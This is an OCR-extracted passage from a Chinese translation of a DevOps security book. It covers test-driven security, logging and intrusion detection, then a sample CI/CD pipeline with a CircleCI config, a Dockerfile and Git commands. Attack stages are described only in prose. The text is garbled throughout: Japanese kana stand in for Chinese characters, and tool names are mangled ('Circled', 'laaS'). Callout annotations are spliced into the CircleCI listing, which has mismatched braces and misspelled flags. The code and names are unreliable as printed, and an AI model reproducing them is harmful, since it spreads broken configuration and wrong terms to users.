小心翼翼地保护好系统和网络。

流水线安全性

DevOps交付产品的自动化方式和大多数安全团队熟悉的传统运维方式完全不 

同。破坏CI/CD流水线只会把运行在生产环境中的软件的控制权拱手让给攻击者。 
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在从代码提交到生产环境部署的这个过程中,采用的自动化步骤可以使用提交签名 

和容器签名这样的完整性控制来保护。我将介绍如何增加组织对CI/CD流水线的信 

心,以及如何保证生产环境中运行的代码的完整性。

持续测试

在刚刚定义的三个领域中，对于任意ー个领域中的应用来说,安全控制单独实 

现起来都相当简单。困难来自随时随地测试和实现它们。这就是TDS该发挥作用 

的时候了。TDS是ー种类似测试驱动开发(TDD, Test-Driven Development)的方 

法。TDD建议开发人员先编写表达期望行为的测试，然后再来编写满足测试的代码; 

TDS建议先编写表达期望状态的安全测试，然后再实现让测试通过的安全控制。

在传统环境中很难实现TDS,因为测试必须在运行了多年的系统上执行。而在 

DevOps中，软件或基础设施的每一次变更都要经过CI/CD流水线，这非常适合实 

施TDS，如图1.5所示。

图1.5测试驱动安全被融入CI/CD之中,以便在部署到生产环境基础设施之前执行安全测试。

TDS方法带来了不少好处：

• 编写测试强迫安全工程师澄清期望并记录成文档。工程师可以在全面理解所 

需安全控制的情况下构建产品，而不是亡羊补牢。

• 安全控制必须要小且有针对性オ容易测试。要避免像“加密网络通信”这样 

含糊的需求，而应该明确地说明“强制所有传输使用采用了密码套件X、Y 
及Z的HTTPS ”，这样的描述才能清晰地表明期望。

• 跨产品重用测试的可能性很大，因为大多数产品和服务共享同样的底层基础 

设施。ー套基线测试ー旦完成,安全团队就可以把精力集中到更复杂的任务 

中了。
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•缺失的安全控制会在部署之前被发现,这让开发人员和运维人员能有机会在 

客户被置于风险之前解决这些问题。

TDS方法中的测试ー开始会失败。这是符合预期的，在特性实现之后,通过这 

些测试就能验证它们的正确性。首先,安全团队应该帮助开发人员和运维人员在软 

件和基础设施中实现安全控制，一条测试接一条测试地提供实现指导，最终将测试 

转交给DevOps团队。如果测试通过,团队就能确信安全控制被正确地实现了，并 

且测试应该再也不会失败。

TDS的ー个重要部分是把安全当成产品的ー个特性来对待。这一特性可以通过 

直接在产品的代码或系统中实现安全控制来完成。将安全建立在应用和基础设施之 

外的安全团队很可能会形成缺乏信任的文化。我们应该远离这种方式。它不仅会造 

成团队之间的紧张气氛,而且它提供的安全性也很糟糕，因为安全控制如不知道应 

用的准确行为就会遗漏ー些内容。安全策略如果不是由工程团队来主导,那么就注 

定不会长久，并且会随着时间推移慢慢退化。对安全团队来说，定义、实现和测试 

的工作非常重要,但是将关键组件的主导权委托给正确的人同样非常重要 。

TDS吸收了流水线自动化和团队紧密协作的DevOps原则。它强迫安全人员在 

开发人员和运维人员所采用的环境中构建和测试安全控制,而不是构建自己独立的 

安全基础设施。通过TDS覆盖安全基础可以显著降低服务被破坏的风险,但是对生 

产环境的监控依然不能放松。

1.3.2攻击监控与应对
安全工程师在无聊的时候喜欢玩游戏。2005年，我们曾经玩过ー个很流行的 

游戏:将完全没有打过补丁的Windows XP安装在ー个虚拟机上,然后直接接入互 

联网（没有防火墙，没有杀毒软件，也没有代理），接下来就是等待。你能猜到它 

多久会被攻击?

由恶意软件制造者操纵的扫描器很快就发现了这个系统，然后向它发送了一段 

漏洞利用代码,这只是众多攻击Windows的漏洞利用代码中的任意ー种。在几小时 

之内，系统就会被攻破,并敞开后门让更多的病毒感染系统。隔岸观火挺有趣,但 

更重要的是,它给我们上了重要的ー课:所有连接到互联网的系统最终都会被攻 

击——无一例外。

在公共互联网上运营受欢迎的服务，本质上和上面的Windows XP试验是ー样 

的:在某ー时刻，扫描器会发现它并尝试入侵。攻击可能会以特定用户为目标并尝 

试猜测他们的密码，也可能会中断服务索要赎金，或者可能会利用基础设施的漏洞 

进入数据层盗取信息。

现代组织十分复杂，要想用合理的成本覆盖每ー个角落基本上是不可能的。安 
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全团队必须权衡优先级。我们的攻击监控与应对方法集中在以下三个方面:

• 日志和欺诈检测。

• 入侵检测。

• 事件响应。

如果组织能做到以上三项，那么就是做好了应对安全事件的准备。我们来概要 

地看一下这三个方面。

日志和欺诈检测

日志的生成、保存和分析在组织的每ー个部分都发挥着作用。开发人员和运维 

人员需要日志来跟踪服务的健康度。产品经理使用它们来度量特性受欢迎的程度或 

是用户留存率。对安全性来说,我们要关注两个特定的日志需求:

・ 检测安全异常。

・ 在调查事件时提供取证能力。

日志收集和分析达到理想化的要求几乎是不可能的。海量的数据使存储变得不 

切实际。在本书的第2部分,我将介绍如何选择用于安全分析的日志，并将重点集 

中在DevOps流水线的特定部分上。

我们将探讨日志流水线的概念，它处理并集中来自各种日志源的日志事件。日 

志流水线十分强大,因为它提供了一条可以执行异常检测的单一管道。和每个组件 

自己执行检测相比，它的模型更简单，但是它在大型环境中的实现可能比较困难。 

图1.6概括了日志流水线的核心组件,我将在第7章详细介绍它们。

基础设施中的组 

件将日志转发给 

中央队列。

消息代理将日志 

事件从生产者路 

由到消费者C，

日志事件由专为处 日志短期内保存在 运维人员可以使用仪表盘和特 

理特定任务的小型 数据库中，然后被 定终端查询原始日志和可视化 

分析器处理ワ 归档长期存放。 指标。

图1.6日志流水线实现了一个标准的管道,基础设施产生的事件可以在这里分析并存储。
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日志和流水线包含了五层：

• 用于记录来自基础设施各个组件的日志事件的收集层。

• 用于捕捉和路由日志事件的流式处理层。

• 用于检查日志内容、检测欺诈并告警的分析层。

• 用于归档日志的存储层。

• 允许运维人员和开发人员访问日志的访问层。

强大的日志流水线为安全团队提供了监控基础设施所需的核心功能。我将在第 

8章介绍如何在日志流水线中建立起一个可靠的分析层，并展示各种关于监控系统 

和应用的有效技术。这将为我们在第9章学习入侵检测打下基础。

入侵检测

在入侵基础设施时，攻击者通常会按照以下四个步骤执行：

1 .在目标服务器上留下恶意载荷。恶意载荷是ー种非常小的后门脚本或恶意软 

件，小到可以被下载和执行而不会引起注意。

2 . 一旦部署,后门便会与母船建立联系,通过命令与控制(C2, Command- 
and-Control)信道接收进ー步指令。C2信道可以采用很多种形式,包括:出 

站IRC连接,在正文中隐藏特殊关键字的HTML页面，或者在TXT记录中 

嵌入命令的DNS请求。

3 .后门执行指令并在网络中扩散，扫描并入侵其他主机直到发现有价值的目标。

4 .找到目标后，攻击者势必要盗取其中的数据,很可能是通过另一条和C2信 

道平行的信道来盗取这些数据。

在第9章,我将说明一个机警的安全团队如何检测每ー个步骤。我们的重点是 

观察和分析使用下面这些工具的网络流量和系统事件 ：

,入侵检测系统(IDS, Intrusion Detection System)----- 图 1.7 展示了 IDS 如
何通过持续不断地分析网络流量副本，以及如何通过持续不断地在网络连 

接上应用可检测欺诈活动的复杂逻辑，来检测C2信道。!DS擅长对千兆字 

节的网络流量中的欺诈活动模式进行实时检查。我们将探索怎样在laaS环 

境中使用它。
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图1.7入侵检测系统通过寻找欺诈活动的模式及对出站流量的系统分析，能够发现被破坏的主 
机和母船的联系。

• 连接审计——分析经过基础设施的全部网络流量有时是不现实的。NetFlow 
提供了另ー种审计网络连接的方式，它通过将连接信息记录在流水线中的方 

式来进行审计。当无法访问底层时，NetFlow是审计laaS基础设施中的网络 

层活动的好方法。

・ 系统审计——对线上系统的完整性进行审计是跟踪整个基础设施中发生的ー 

切事情的绝佳方法。在Linux中，内核的审计子系统可以记录在系统中执行 

的所有系统调用。攻击者在入侵系统时常常会在这种类型的日志中留下蛛丝 

马迹，将这些审计事件发给日志流水线可以帮助我们检测到入侵。

入侵检测难度很大，常常需要安全团队和运维团队密切合作。如果操作不当, 

这些系统就会占用本该用于运营生产服务的资源。你将了解如何用ー种渐进的和谨 

慎的方式帮助入侵检测有效地融入DevOps之中。

事件响应

在任何组织中，遇到的最紧张的情况或许就是处理安全事故了。即使是最稳定 

的公司,安全事件给公司带来的混乱和不确定性也可能严重破坏其健康运转。在エ 

程团队手忙脚乱地恢复系统和应用的完整性时，领导层也必须做好止损，并确保业 

务能尽快恢复正常运营。

我将在第10章介绍组织在应对安全事件时应该遵循的一套六阶操作手册。它 

们是：

• 准备一•确保有一套处理安全事件的最精简流程 。

• 识别一迅速判断异常是否是安全事件 。

・ 隔离——阻止破坏进ー步扩散。

・ 杀灭——消除对组织的威胁。
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• 恢复一恢复组织正常运营。

・ 总结一事后进行回顾并总结经验教训 。

每ー个安全事故都不一样,而且组织的应对方式也不尽相同，这使得为读者总 

结出ー些可操作的建议变得十分困难。在第10章我们将用一个案例分析来介绍事 

件响应,这个案例展示了一家典型的公司所经历的混乱过程,以及它在这个过程中 

如何充分发挥DevOps技术的优势。

1.3.3评估风险并完善安全性
完整的安全策略远远不是只涵盖实现安全控制和事件响应等技术方面的因素。 

持续安全中的“人”的因素オ是实施风险管理的关键，在本书中,我们还会不断地 

说明这一点。

评估风险

对许多工程师和管理人员来说,风险管理就是制作花花绿绿的超大电子表格, 

任由它们在收件箱里堆积如山。不幸的是，这种现象屡见不鲜，这导致许多组织放 

弃了风险管理。在本书的第3部分，我将介绍如何打破这种模式，为DevOps组织 

带来简捷、高效的风险管理。

管理风险就是识别出威胁到生存和增长的问题,以及排列出它们的优先级。 

电子表格中的花哨的单元格的确有用，但那并不是重点。好的风险管理必须达到 

以下三个目标：

・ 频繁快速地以小迭代的方式运作。软件和基础设施会持续不断地变化，一个 

组织必须能够频繁地讨论风险，而不是陷进数周漫长的流程中。

• 自动化!这是DevOps,手动操作只是例外，而不是规则。

・ 组织里的每个人都要求参加风险讨论。构建安全的产品和维护安全是整个团 

队的工作。

第!I章将呈现ー个实现了上述全部三个目标的风险管理框架。如果实施正确， 

它就能变成组织的真正资产,并成为组织中每个人都认可和追寻的产品生命周期中 

的核心组成部分。

安全测试

成熟的安全程序的另一个核心强项是能够通过安全测试定期评估自身的表现。在第 

12章,我们将探讨成功的测试策略如何在以下三个重要方面来帮助完善组织的安全性:

• 使用漏洞扫描、模糊测试、静态代码分析或者配置审计等安全技术手段对 

应用和基础设施的安全性进行内部评估。我们将讨论多种可以集成到CI/CD 
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流水线中的技术,它们将变成DevOps策略中软件开发生命周期(SDLC, 
Software Development Lifecycle)的一部分。

•利用外部公司来审计核心服务的安全性。如果目标正确,安全审计会给组织 

带来很多价值,并且有利于用新的思路和视角审视安全程序。我们将讨论如 

何有效地使用外部审计和“红军”，让它们充分发挥作用。

•建立漏洞报告奖励程序。DevOps组织通常会积极拥抱开源并公开发布大量 

源代码。对于独立安全研究人员来说,这是巨大的资源,他们会测试你的应用, 

并向你报告他们在安全性上的发现以换取几千美元的报酬。

完善一个持续安全程序需要好几年的时间，但这些时间投入会让安全团队变 

成一个组织产品策略中不可或缺的一部分。在第13章中，我们将讨论如何在三年 

时间内实施一个成功的安全程序,并为本书画上句号。通过跨团队的紧密合作及对 

安全事件的妥善处理和技术指导,安全团队将从他们的伙伴那里收获保障客户安全 

的信任。成功的持续安全策略的核心就是:将安全人员及其工具和知识尽可能地与 

DevOps中其他人拉近距离。

1.4本章小结

• 要想真正保护客户,安全性必须内建到产品之中，必须和开发人员还有运维 

人员紧密合作。

• 测试驱动安全,监控与应对攻击,以及完善安全性是推动组织实现持续安全 

策略的三个阶段。

・ 传统的安全技术，例如漏洞扫描、入侵检测及日志监控，都应该被重复利用 

并进行调整，以适应DevOps流水线。





第1部分

案例硏究:在简易的DevOps 
流水线上应用多层安全性

在第1部分里，我们将通过建立一个小型的DevOps环境来运营ー个 

几乎毫无安全性可言的Web应用。我们的流水线充斥着各种漏洞,我们将 

在每ー个层次上将其ーー堵住，包括应用、基础设施、通信及部署。我们 

的目标是利用第1章中介绍的在测试驱动安全概念中描述的自动化测试， 

ー层ー层地增加安全性。

安全是一段旅程。第2章将要介绍的建立自己流水线的过程会暴露出 

组织通常遇到的问题，并以此为起点讨论如何将安全性融入CI/CD流水线 

之中。在第3章中，我们首先会着手处理应用层，讨论针对Web应用的常 

见攻击,以及测试和保护应用免受这些攻击的方法。在第4章中，我们将 

聚焦基础设施层并讨论保护云上数据的技术。第5章将实现HTTPS来保护 

终端用户和基础设施之间的通信。最后,第6章将讨论部署流水线的安全性, 

以及保证代码完整性的方法。

当我们完成第1部分的时候，你的环境会非常安全，并为第2部分的 

内容做好了准备,我们将在第2部分讨论来自外部的攻击。
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本章内容包括

・ 为发票应用示例配置C!流水线
・ 将发票应用部署到AWS中
・ 识别DevOps流水线中需要重点关注安全性的 

部分

在第1章里,我描绘了一个雄心勃勃的安全策略的轮廓,并描述了为什么说安 

全是产品不可分割的一部分。既然安全是DevOps的一部分，那么我们首先需要理 

解应用在DevOps中是如何构建、部署和运维的。这一章我们暂且放下与安全相关 

的话题，将注意力集中在构建一条功能完整的流水线上,以此来理解DevOps技术， 

为第3~5章中的安全讨论打下基础。

DevOps会更多地关注理念、思想和工作流，因而不会推荐某种特定的技术。 

DevOps标准可能并不存在,但ー些贯穿各种实践的模式是存在的。在这一章里, 

我们将用一个具体的例子来实现这些模式：发票应用,这是用几个HTTP终端节点 

来管理发票的ー个小型Web API〇它是用Go语言编写的,源代码可以从GitHub网 

站的Securing-DevOps主页上下载（链接2.1 ）〇
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2.1实现线路图

我们想要用DevOps方式来管理和运营发票应用。为了做到这一点,我们将实 

现CI、CD及laaS中的各个步骤，这些步骤可以让我们快速向用户发布和部署软件 

的新版本。我们的目标是,从补丁提交到生产环境部署的过程基本实现自动化,并 

将整个过程的时间控制在15分钟之内。图2.1展现的就是将要构建的流水线，它由 

六个步骤组成:

1 .开发人员写好补丁并发布到代码库的ー个特性分支上。

2 .对应用执行自动化测试。

3 .另ー个开发人员对补丁进行评审，并将该补丁合并到代码库的master分支中。

4 .自动构建新版本应用并打包成容器镜像 。

5 .容器镜像上传到公共容器镜像库。

6 .生产环境中的基础设施从公共容器镜像库中获取镜像并部署。

ヽ《 持续集成

开发人员 
交叉评审

\
d
7
z

图2.1托管发票应用的完整CI/CD/laaS流水线由六个步骤组成,它们将补丁变成部署好的应用。

建立这条流水线需要集成一些组件来互相配合。你需要下面这些环境：

•源代码仓库ー管理源代码的开源或者专有解决方案有Bitbucket. Beanstalk, 
GitHub^ GitLab、SourceForge »等等。在编写本书时,ー个流行的选择是
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GitHub,我们要用它来托管发票应用的代码。

* CI平台---同样也有很多选择，如Travis CI、CircleCR Jenkins> GitLab ，等等。

总有一个CI平台适合你的需要和环境。在本例中,我们将使用Circled,因 

为它和GitHub的集成很简单，还允许通过SSH访问来构建实例，以便调试 

构建步骤。

•容器镜像库——容器世界的发展日新月异,而在编写本书时,Docker是标准 

的选择。我们将要使用Docker Hub提供的镜像库，见链接2.2。

, laaS 提供商一在本书成书之时，Google Cloud Platform 和 Amazon Web 
Services (AWS)是两个最受欢迎的laaS提供商。ー些组织更喜欢自己托管 

laaS,从而在自己的硬件上使用Kubemetes或者OpenStack来实现管理层(注 

意Kubemetes也能用在AWS的EC2实例上)。在本书中，我将使用AWS, 
因为它是市场上最成熟也是最受欢迎的laaSo

我们来总结一下要用到的工具:GitHub托管源代码,并在补丁发送时调用 

CircleCI ； Circled将应用构建到ー个容器之中并推送到Docker Hub ； AWS运行着 

基础设施,从Docker Hub取回容器,并将生产环境升级到最新版本。简单,但优雅。

每个环境都不一样

你的组织使用的环境不太可能和书中介绍的ー模ー样,有一些更细节的安 

全控制不能直接应用到你所用的工具上。这并不奇怪，我在解释具体的实现之 

前会先强调安全概念,这样你就能更容易地将它们嫁接到你的环境中

例如,如果你的组织使用的不是GitHub、Docker或AWS这些工具，那 

么你可能就会有些担心。我只是把它们当作教学工具来介绍DevOps技术。就 

把这一章当成实验室来学习和尝试这些概念,然后在最适合你的平台上实现这 

些概念。

记住,即便是传统的基础设施也能从现代DevOps技术中受益，只要建立起 

和第三方提供的CI/CD/IaaS流水线完全ー样的流水线就行，只不过这条流水线 

仅供内部使用,当你的技术发生变化时,工具和术语也会发生改变，但整体概 

念尤其是安全概念不会发生变化。

这条流水线使用的工具和服务都是免费提供的，至少免费套餐的有效时间足够 

你完成接下来的试验。在构建你自己的流水线时，后续的代码和例子可以复制和重 

用。在阅读本章的同时搭建自己的环境,使得学习和练习相得益彰。
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2.2 代码仓库:GitHub

访问GitHub网站的Securing-DevOps主页(链接2.3)，你将会被重定向到发票 

应用的GitHub仓库。发票应用的代码及用来简化基础设施搭建的脚本都托管在这里。 

如果你要创建自己的流水线,那么就用你自己的账户复刻(fork)这个仓库,即把 

Git文件复制到自己的个人空间里,然后根据README文件的指引搭建自己的环境。 

本章详细介绍了启动和运行环境的所有步骤,其中有一些步骤可以使用托管在仓库 

中的代码来自动完成。

2.3 CI 平台：Circled

在本节中,你将配置Circled，在发票应用发生变更时，它将执行测试并构建 

Docker容器镜像。本节示例是针对Circled的,但使用CI平台测试和构建应用的 

思路是通用的，可以轻松地在其他CI平台上复制。

代码仓库和像GitHub和Circled 这样的d平台实现了叫作网络钩子 

(webhook)的概念,它用来传递通知。当代码仓库发生变更时，webhook会将通知 

推送到ー个由CI平台托管的网络地址上。通知的正文包含了关于变更的信息，CI 
平台需要这些信息来执行任务。

当你用GitHub账户登录Circled之后,Circled会请求你允许它代表你在 

GitHub账户中执行操作。其中的ー个操作就是在发票应用的GitHub代码仓库中设 

置ー个webhook,将新发生的事件通知给drcled。图2.2就是GitHub中自动设置 

好的webhook配置。

I Pull requests 〇 WW v Pulse d Graphs <> Settings

Webhooks Manage webhook

We ll send a post request to the URL below details of any subscribed events. You can a担〇 specify which dala tormat 
you'd Mte to receive (JSON. x -www-form-urlencoded, efc). More information can be found in out developer docunwntatan.

Payload URL ,

https ガcirclecl.com/hook 叫 Rhub

Content type 

apphcaBon/x-www-torm-urfenco(Jed キ

Secret

图2.2 GitHub和Circled之间的webhook会在发票应用的代码仓库中自动创建，在变更被应 
用时触发软件构建。

“Gode I1 Issues o

Opsons

CollaboraKirs & learns

Branches

Webhooks & services

Dopkty Kaye
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图2」中的步骤（2）和步骤（4）都要使用webhook〇每当GitHub要将变更告 

知CircleCI的时候，它就会向GitHub网站的CircleCI主页（链接2.4）发送ー个通知。 

CircleC!接收通知并触发ー次发票应用的构建。webhook的简单性让它流行于不同 

实体运维的接口服务中。

安全提示

GitHub拥有复杂的权限模型，允许用户将细粒度的权限委托给第三方应用。 

然而，CI平台需要一个用户对所有代码仓库的读写访问权限。在第6章中，我 

们将讨论如何使用低权限账户并控制对仓库的访问，而不是使用你自己的高权 

限用户来集成CI平台。

图2.3中的config.ym!文件放在应用代码仓库里。它采用了 YAML格式，并 

配置了 CI环境来执行一些特定的任务，GitHub记录的每次变更都要执行这些任 

务。更具体地说，你要设置CircleCI,让它测试并编译发票应用,然后构建和发布 

Docker容器镜像，随后该镜像会被部署到AWS环境中。

Branch master ▼ invoicer-chapter2 1 .circleci

ェ jvehent Circle conf fixup

回 config.yml

图2.3 CircleCI的配置存放在应用代码仓库中的.circleci目录下。

注意 YAML是ー种常见的用来配置应用的数据序列化语言。和JSON、XML 
等格式相比，YAML的优势在于更容易被人理解。

接下来展示的是完整的CircleCI配置文件。你可能注意到了，文件中有些部分 

是命令行操作,而有些部分是CircleCI的专用参数。大多数CI平台都允许运维人员 

列出命令行操作,这使得它们非常适合于运行自定义任务。

代码清单2.1配置应用的CircleCI的.config.yml

version： 2
jobs ：

build：

working__ directory： 
配置ー个工作目录，用于构 
建应用的Docker容器镜像。

■/go/src/github.com/Securing-DevOps/invoicer-chapter2
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docker：

- image： circleci/golang：1.8 
steps:
- checkout
- setup_remote_docker

声明任务执行的环境。

- run：

name： Setup environment
command： |
gb="/src/github.com/${CIRCLE_PROJECT_USERNAME}";
if [ ${CIRCLE_PROJECT_USERNAME) == 'Securing-DevOps' ]； then 
dr="securingdevops"

else
dr=$DOCKER_USER

fi ー 构建应用所需的环境变量。
cat » $BASH_ENV « EOF
export GOPATH_HEAD="$ (echo ${GOPATH} | cut -d • : 1 -f 1) •,
export GOPATH_BASE="$(echo ${GOPATH)|cut -d ':1 -f 1)${gb}" -
export DOCKER_REP0="$dr"
EOF

- run： mkdir -p "${GOPATH_BASE)"
- run： mkdir -p "${GOPATH_HEAD}/bin"

- run： !执行应用的单元测试。

name： Testing application ---- •
command： |

go test \
github.com/${CIRCLE_PROJECT_USERNAME}/${CIRCLE_PROJECT_REPONAME}

一旦master分支上发生变化,就 
构建应用的Docker容器镜像。 构建应用的二进制文件。

-deploy： 
command： |
if [ "${CIRCLE_BRANCH}" master"

登录Docker Hub月艮务。

］；then

-----------► docker 
docker

构建使用 Dockerfile sudo

的应用的容器镜 docker

docker login -u ${DOCKER_USER} -p ${DOCKER_PASS}; ◄------ 1
go install --Idflags '-extldflags "-static"/ \ <---------------
github.com/${CIRCLE_PROJECT_USERNAME)/${CIRCLE_PROJECT_REPONAME}; 
mkdir bin；

cp "$GOPATH_HEAD/bin/${CIRCLE_PROJECT_REPONAME)" bin/invoicer;

像。 fi

build -t ${DOCKER_REPO}/${CIRCLE_PROJECT_REPONAME}.; 
images --no-trune | awk ""app/ {print $3}1 | \ 
tee $CIRCLE_ARTIFACTS/docker-image-shasum256.txt； 
push ${DOCKER_REPO}/${CIRCLE_PROJECT_REPONAME};

将容器镜像推送到Docker H

文件中的某些部分可能比较晦涩,尤其是Docker和Go的部分。我们稍后再来 

解释这部分内容,现在暂且忽略它们,先聚焦在这份配置文件背后的概念上。如你 

所见,以上代码清单中的语法是声明式的,就像是我们在编写执行这些操作的shell 
脚本一样。
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配置文件必须放在代码仓库中。如果该文件存在，那么CircleCI在收到来自 

GitHub的webhook通知后，将按照文件中的指令执行操作。要想触发流水线的第一 

次运行,只用将代码清单2.1中的配置文件添加到Git仓库的ー个特性分支中，并 

将该分支推送到GitHub即可。

代码清单2.2为添加CircleC(配置的补丁创建一个Git特性分支

I创建一个Git特性分支。

I---- A $ git checkout -b featbrl
$ git add .circleci/config.yml
$ git commit -m ''initial circleci confw
$ git push origin featbrl ----------

将config.ym|添加到该分支。

J将变更推送到代码仓库。

要让CircleC!运行在config.yml中定义的测试,只用创建一个拉取请求(Pull 
Request)，将特性分支中的补丁合并到master分支。

什么是拉取请求？

“拉取请求”是ー个由GitHub推广出来的术语,它代表了这样ー个请求: 

把来自ー个特定分支的变更拉取到另ー个分支上,通常是从特性分支拉取到 

master分支当开发人员提交一个补丁供评审时，拉取请求就会创建.拉取请 

求将触发在CI中执行自动化测试的webhook (图2.1中的步骤(2)),而其他开 

发人员在同意合并拉取请求之前要先对提出的补丁进行评审(图2.1中的步骤 

(3))o

图2.4展示的是CircleC!中待测试的GitHub拉取请求的用户界面。CircleC!获 

取ー份特性分支的副本,读取config.yml中的配置，并按照完整的步骤构建和测试 

应用。

ヽ^ » pending cnecK

冋 « cl/circlecl - QftdeCl 椚 running your tests Details

图2.4 GitHub推送请求的Web界面显示了 CircleCI中测试正在运行的状态。正在运行的测试 
表示为黄色；如果CircleC!成功执行完测试,界面就会变成绿色;如果发生错误则会变成红色。

注意,按照你的配置，只有作为go test命令一部分运行的单元测试オ会被执行。 

只有当拉取请求被接受并且代码被合并到master分支之后，配置中的deploy部分 

オ会被执行。
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现在，我们假设评审人员对这些变更满意，并批准了这次拉取请求,完成了流 

水线中的步骤（3）。补丁被合并到了 master分支,并且流水线进入了图2.1中的步 

骤（4）和步骤（5）〇 Circle。将再次运行，这次执行的是部署部分，即构建一个应 

用的Docker容器镜像并推送到Docker Hub〇

2.4 容器镜像库：Docker Hub

我们的Circled配置中包含了一些命令，它们调用Docker来构建应用的容器 

镜像，例如docker build和docker push。本节,我们将首先介绍为什么 

Docker是DevOps的重要组成部分,然后将仔细研究容器镜像是如何创建的。

容器，特别是Docker容器,之所以流行，是因为它有助于解决代码依赖管理的 

复杂问题。应用一般都要依赖外部的库和包，以避免重新“造轮子”。为了方便维护， 

运维人员需要在系统上共享这些库和包。如果十个应用都用到了同一个包，而在这 

个包中发现了问题,则只需要更新这ー个包,所有应用就都能从更新中受益。

当各式各样的应用需要使用同一个库的不同版本时，问题就出现了。例如，- 

个系统默认使用了 OpenSSLO.9,如果ー个包需要在这个系统上使用OpenSSL 1.2, 
那么它就无法工作。基础系统难道需要安装所有版本的OpenSSL吗?这些版本会不 

会发生冲突?答案没有那么简单，这些问题让开发人员和运维人员头痛不已。这个 

问题有一些解决方案,它们的基本思路都一样，就是应用应该分开管理它们各自的 

依赖。容器提供的包管理机制实现了这种隔离。

你还是Docker新手?

在本章中，我们只是重点使用了 Docker容器有限的几个功能来打包发 

票应用。要想全面了解Docker,可参考Jeff Nickoloff所著的历スc〃。" 

（Manning出版社于2016年出版）。

正如我们之前讨论的Circled配置文件展现的那样，Docker容器是根据ー个 

名为DockerfUe的配置文件来构建的。Docker对冗长的容器构建、发布和运行任 

务进行了不错的抽象。代码清单2.3就是构建发票应用容器镜像的Dockerfile。麻 

雀虽小，五脏俱全，文件虽短，却隐藏着惊人的复杂性。我们来研究一下它做了 

些什么。
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代码清单2.3构建发票应用的Dockerfile

FROM busybox：latest
RUN addgroup -g 10001 app && \ 

adduser -G app -u 10001 \ 
-D -h /app -s /sbin/nologin app

COPY bin/invoicer /bin/invoicer
USER app
EXPOSE 8080
ENTRYPOINT /bin/invoicer

我们来研究一下代码清单2.3 ：

• FROM指令表明了用来构建容器镜像的基础容器镜像。Docker容器有层的概 

念,允许在ー个容器基础之上再增加信息。这里,我们使用基于BusyBox的 

容器,这个容器是最小的通用Linux工具集合。

• RUN指令创建了一个名为“app”的用户，下面的USER指令在运行应用时 

会用到这个用户。

• COPY指令会在容器中加载发票应用的可执行文件。这条指令将本地文件bin/ 
invoicer （相对于构建操作运行的路径）放到容器中的/bin/invoicer这个位置。

• EXPOSE和ENTRYPOINT指令在容器启动时运行发票应用，让外来者可以 

访问它的8080端口。

要用这份配置构建容器，先要将发票应用的源代码编译成静态二进制文件，并 

拷贝到bin/invoicer,然后使用docker build命令创建容器。

代码清单2.4将发票应用编译成静态二进制文件

go install --Idflags •-extldflags n-static"* \
github.com/Securing-DevOps/invoicer-chapter2

cp "$GOPATH/bin/invoicer-chapter2" bin/invoicer

接下来通过build命令将发票应用二进制文件打包进Docker容器。

代码清单2.5通过docker build命令创建发票应用的容器

docker build -t securingdevops/invoicer-chapter2 -f Dockerfile .

这就是你所要了解的关于Docker构建应用容器的全部。Circled会执行ー模一 

样的命令，然后将容器镜像推送到Docker Hub。

如果要推送到Docker Hub,就需要一个在Docker Hub官网（链接2.5）上的账 

户和一个名为"securingdevops/invoicer"（或是和你的GitHub用户名及仓库名相匹 

配的其他名字）的仓库。Circlea需要这个账户的凭证来登录Docker Hub,因此, 
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在创建好账户之后，转到CircleCI中仓库的设置部分,将环境变量DOCKER_USER 
和DOCKER_PASS设置为Docker Hub的用户名和密码。

安全提示

你不应该在CircleCI中共享自己的Docker Hub凭证。在第6章中，我们将 

讨论如何使用拥有最低权限的服务专用账户来达到这个目的。

大多数CI平台都支持在不泄露隐私的情况下使用敏感信息的机制。 

CircleCI和Travis CI都不允许将包含隐私的环境变量暴露给来自代码仓库之外 

（复刻的代码仓库而非特性分支）的拉取请求，以此来保护这些环境变量。

我们来总结一下截至目前实现的内容。你有了一个在变更提出时通过webhook 
调用Q平台的代码仓库。测试会自动执行，帮助评审人员验证这些变更不会破坏 

功能。如果变更被批准了,它就会被合并到master分支中。然后CI平台会被第二 

次调用来构建应用的容器。容器被上传到远程容器仓库,任何人都可以获取它。

内部。

即使是闭门造车,完全在内部运营流水线，也能达到同样的效果。用私 

有的GitLab实例代替GitHub,用Jenkins代替CircleCI,运行自己的Docker 
Registry服务器来保存容器,就可以在私有的基础设施上实现同样的工作流了（但 

搭建这条流水线需要花费更多的时间 ）。

无论你用哪种方式实现流水线,其核心思路都是ー样的。那就是将应用在 

每次变更时都要执行的测试和构建步骤自动化，在保障稳定性的同时加速变更 

集成。

CI流水线实现了发票应用测试和打包的完全自动化。在必要时,流水线每天可 

以运行数百次，它能可靠地将代码变成可以发布到生产环境中的应用容器。接下来 

就要搭建托管和运行容器的基础设施了。

2.5 生产环境基础设施:Amazon Web Services
在上大学的时候,我的法学教授讲过ー个故事,这大概是第一个在法国运营的 

Web托管服务的故事。在上世纪90年代，这个服务由他的一位朋友运营。那时,在 

新兴的互联网上托管一个Web页面，要操心从网络到系统层面的所有事情。教授的这 
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位朋友没有能力支付数据中心的费用,所以他将硬盘、主板和电缆直接堆在家里地下 

室的桌子上，通过几个经专门改装的调制解调器连上了互联网。磁盘旋转和擦写产生 

的噪声就像是怪兽的嚎叫，而且还存在巨大的火灾隐患，但它确实可以工作一托管 

了网站。

互联网的起源充满了类似这样的故事。互联网的发展突显了我们在构建和运营在 

线服务方面取得的进步。直到本世纪第一个十年的末尾，从零开始建立完整的基础设 

施仍是ー项复杂且乏味的任务，涉及大量的硬件和布线工作。现在，大多数组织己经 

将这些复杂的工作外包给了专业公司，从而将精力集中在构建自己的核心产品上。

laaS提供商将复杂的处理隐藏在幕后，仅仅把简单的接口暴露给运维人员，通 

过这种方式简化了基础设施的搭建任务。Heroku、Google Cloud> Microsoft Azure, 
Cloud Foundryx Amazon Web Services及IBM Cloud是这份长提供商名单中的ー些 

代表,这些提供商可以帮你管理基础设施。laaS用户只需要在逻辑层声明基础设施, 

并且让提供商将这些声明转换成物理层。一旦声明了基础设施，运维人员将对其完 

全管理。当你完成初始设置后，发票应用的管理就被外包给了提供商，而你完全不 

用管理基础设施的组件了。

本节我们将着重介绍AWS,具体来说是它的Elastic Beanstalk （EB）服务。EB 
是专为托管容器而设计的,它将基础设施的管理工作从运维人员那里抽象了出来。 

对于本书的目标而言,选择使用EB完全是随意的。它没有什么特色功能，简单到 

足以满足本章的需要,也足以演示如何在AWS中实现云服务。

在进入技术话题之前，我们需要先讨论三层架构的概念,托管发票应用需要实 

现这种架构。接下来，我们将介绍发票应用是如何ー步步部署到AWSEB中的。

你是 Amazon Web Services 新手?

